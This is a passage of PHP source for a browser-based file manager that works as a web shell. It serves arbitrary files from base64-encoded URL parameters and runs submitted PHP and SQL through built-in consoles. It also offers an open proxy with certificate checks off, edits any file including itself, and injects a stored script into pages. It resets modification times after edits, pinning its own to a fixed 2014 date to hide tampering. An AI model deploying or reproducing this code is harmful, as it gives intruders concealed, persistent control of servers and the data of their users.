		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
